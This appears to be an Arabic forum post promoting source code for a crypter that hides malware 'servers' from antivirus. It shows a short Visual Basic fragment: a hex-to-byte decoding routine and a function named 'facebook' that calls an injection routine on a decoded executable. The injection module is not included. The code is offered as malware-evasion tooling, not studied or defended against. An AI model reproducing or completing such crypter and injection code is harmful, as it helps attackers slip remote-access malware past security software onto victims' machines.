عمل سورس كود لأي سرفر وتشفير محطم للكل سرفر مع تشفيره الشرح بصور

Public Function HexStringToByteArray(ByRef HexString As String) As Byte()
    Dim bytOut() As Byte, bytHigh As Byte, bytLow As Byte, lngA As Long
    If LenB(HexString) Then
        ReDim bytOut(Len(HexString) \ 2 - 1)
        For lngA = 1 To LenB(HexString) Step 4
            bytHigh = AscW(MidB$(HexString, lngA, 2)) - 48
            bytLow = AscW(MidB$(HexString, lngA + 2, 2)) - 48
            If bytHigh > 9 Then bytHigh = bytHigh - 7
            If bytLow > 9 Then bytLow = bytLow - 7
            bytOut(lngA \ 4) = (bytHigh * &H10) Or bytLow
        Next lngA
        HexStringToByteArray = bytOut
    End If
End Function

Public Function facebook()
Module2.Injec ExE, hck(), vbNullString
End Function